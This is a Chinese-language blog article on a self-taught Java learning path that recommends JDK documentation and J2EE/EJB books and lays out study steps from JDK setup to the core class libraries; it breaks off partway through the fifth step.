在所有的Java书籍当中,其实最最有用的,并不是O’reilly的 Java Serials,真正最最有用处是JDK的Documentation!几乎你想获得的所有的知识在Documentation里面全部都有,其中最主要的部分当然是Java基础类库的API文档,是按照package来组织的,对于每一个class都有详细的解释,它的继承关系,是否实现了某个接口,通常用在哪些场合,还可以查到它所有的public的属性和方法,每个属性的解释,意义,每个方法的用途,调用的参数,参数的意义,返回值的类型,以及方法可能抛出的异常等等。可以这样来说,所有关于Java编程方面的书籍其实都不过是在用比较通俗易懂的语言,和良好的组织方式来介绍Documentation里面的某个package里面包含的一些类的用法而已。所以万变不离其宗,如果你有足够的能力来直接通过Documentation来学习Java的类库,那么基本上就不需要看其他的书籍了。除此之外,Documentation也是编程必备的手册,我的桌面上有三个Documentation的快捷方式,分别是J2SDK1.4.1的Documentation,Servlet2.3的Documentation和J2SDKEE1.3.1的Documentation。有了这个三个Documentation,什么其他的书籍都不需要了。

对于Java Web 编程来说,最核心的是要熟悉和掌握HTTP协议,这个就和Java无关了,在熟悉HTTP协议之后,就需要熟悉Java的实现HTTP协议的类库,也就是Servlet API,所以最重要的东西就是Servlet API。当然对于初学者而言,直接通过Servlet API来学习Web编程有很大的难度,我推荐O’reilly的《Java Server Pages 》这本书来学习Web 编程。

EJB的书籍当中,《Enterprise JavaBeans, 2nd Edition》是一本很不错的书, EJB的学习门槛是比较高,入门很难,但是这本书完全降低了学习的难度,特别重要的一点是,EJB的学习需要结合一种App Server的具体实现,所以在学习EJB的同时,必须同步的学习某种App Server,而这本书相关的出了三本书,分别是Weblogic6.1,Websphere4.0和JBoss3.0上面部署书中例子的实做。真是既有理论,又有实践。在学习EJB的同时,可以边看边做,EJB的学习会变得很轻松。

但是这本书也有一个问题,就是版本比较旧,主要讲EJB1.1规范和部分EJB2.0的规范。而Ed Roman写的《Mastering EJB 2.0》这本书完全是根据EJB2.0规范写的,深入浅出,覆盖了EJB编程的各个方面,并且还有很多编程经验tips,也是学习EJB非常推荐的书籍之一。

如果是结合Weblogic来学习J2EE的话,《J2EE应用与BEA Weblogic Server》绝对是首选读物,虽然是讲述的Weblogic6.0,仍然值得购买,这本书是BEA官方推荐的教材,作者也是BEA公司的工程师。现在中文版已经随处可见了。这本书结合Weblogic介绍了J2EE各个方面的技术在Weblogic平台上的开发和部署,实践指导意义非常强。

在掌握了Java平台基础知识和J2EE方面的知识以后,更进一步的是学习如何运用OO的方法进行软件的设计,那么就一定要学习“设计模式”。Sun公司出版了一本《J2EE核心模式》,是每个开发Java企业平台软件的架构师必备的书籍。这本书全面的介绍了J2EE体系架构的各种设计模式,是设计师的必读书籍。

Java Learning Path(三)过程篇

每个人的学习方法是不同的,一个人的方法不见得适合另一个人,我只能是谈自己的学习方法。因为我学习Java是完全自学的,从来没有问过别人,所以学习的过程基本上完全是自己摸索出来的。我也不知道这种方法是否是比较好的方法,只能给大家提供一点参考了。

学习Java的第一步是安装好JDK,写一个Hello World,? 其实JDK的学习没有那么简单,关于JDK有两个问题是很容易一直困扰Java程序员的地方:一个是CLASSPATH的问题,其实从原理上来说,是要搞清楚JRE的ClassLoader是如何加载Class的;另一个问题是package和import问题,如何来寻找类的路径问题。把这两个问题摸索清楚了,就扫除了学习Java和使用JDK的最大障碍。推荐看一下王森的《Java深度历险》,对这两个问题进行了深入的探讨。

第二步是学习Java的语法。Java的语法是类C++的,基本上主流的编程语言不是类C,就是类C++的,没有什么新东西,所以语法的学习,大概就是半天的时间足够了。唯一需要注意的是有几个不容易搞清楚的关键字的用法,public,protected,private,static,什么时候用,为什么要用,怎么用,这可能需要有人来指点一下,我当初是完全自己琢磨出来的,花了很久的时间。不过后来我看到《Thinking in Java》这本书上面是讲了这些概念的。

第三步是学习Java的面向对象的编程语言的特性的地方。比如继承,构造器,抽象类,接口,方法的多态,重载,覆盖,Java的异常处理机制。对于一个没有面向对象语言背景的人来说,我觉得这个过程需要花很长很长时间,因为学习Java之前没有C++的经验,只有C的经验,我是大概花了一个月左右吧,才彻底把这些概念都搞清楚,把书上面的例子反复的揣摩,修改,尝试,把那几章内容反复的看过来,看过去,看了不下5遍,才彻底领悟了。不过我想如果有C++经验的话,应该一两天时间足够了。那么在这个过程中,可以多看看《Thinking in Java》这本书,对面向对象的讲解非常透彻。可惜的是我学习的时候,并没有看到这本书,所以自己花了大量的时间,通过自己的尝试和揣摩来学会的。

第四步就是开始熟悉Java的类库。Java的基础类库其实就是JDK安装目录下面jre\lib\rt.jar这个包。学习基础类库就是学习rt.jar。基础类库里面的类非常非常多。据说有3000多个,我没有统计过。但是真正对于我们来说最核心的只有4个,分别是
java.lang.*;
java.io.*;
java.util.*;
java.sql.*;

这四个包的学习,每个包的学习都可以写成一本厚厚的教材,而O’reilly也确实是这样做的。我觉得如果时间比较紧,是不可能通过读四本书来学习。我觉得比较好的学习方法是这样的:
首先要通读整个package的框架,了解整个package的class,interface,exception的构成,最好是能够找到介绍整个包框架的文章。这些专门介绍包的书籍的前几章应该就是这些总体的框架内容介绍。

对包整体框架的把握并不是要熟悉每个类的用法,记住它有哪些属性,方法。想记也记不住的。而是要知道包有哪些方面的类构成的,这些类的用途是什么,最核心的几个类分别是完成什么功能的。我在给人培训的时候一般是一次课讲一个包,所以不可能详细的介绍每个类的用法,但是我反复强调,我给你们讲这些包的不是要告诉你们类的方法是怎么调用的,也不要求你们记住类的方法调用,而是要你们了解,Java给我们提供了哪些类,每个类是用在什么场合,当我遇到问题的时候,我知道哪个类,或者哪几个类的组合可以解决我的问题,That’all!,当我们具体写程序的时候,只要你知道该用哪个类来完成你的工作就足够了。编码的时候,具体的方法调用,是边写代码,边查Documentation,所有的东西都在Documentation里面,不要求你一定记住,实际你也记不住3000多个类的总共将近10万个方法调用。所以对每个包的总体框架的把握就变得极为重要。

第五步,通过

无觅相关文章插件,快速提升流量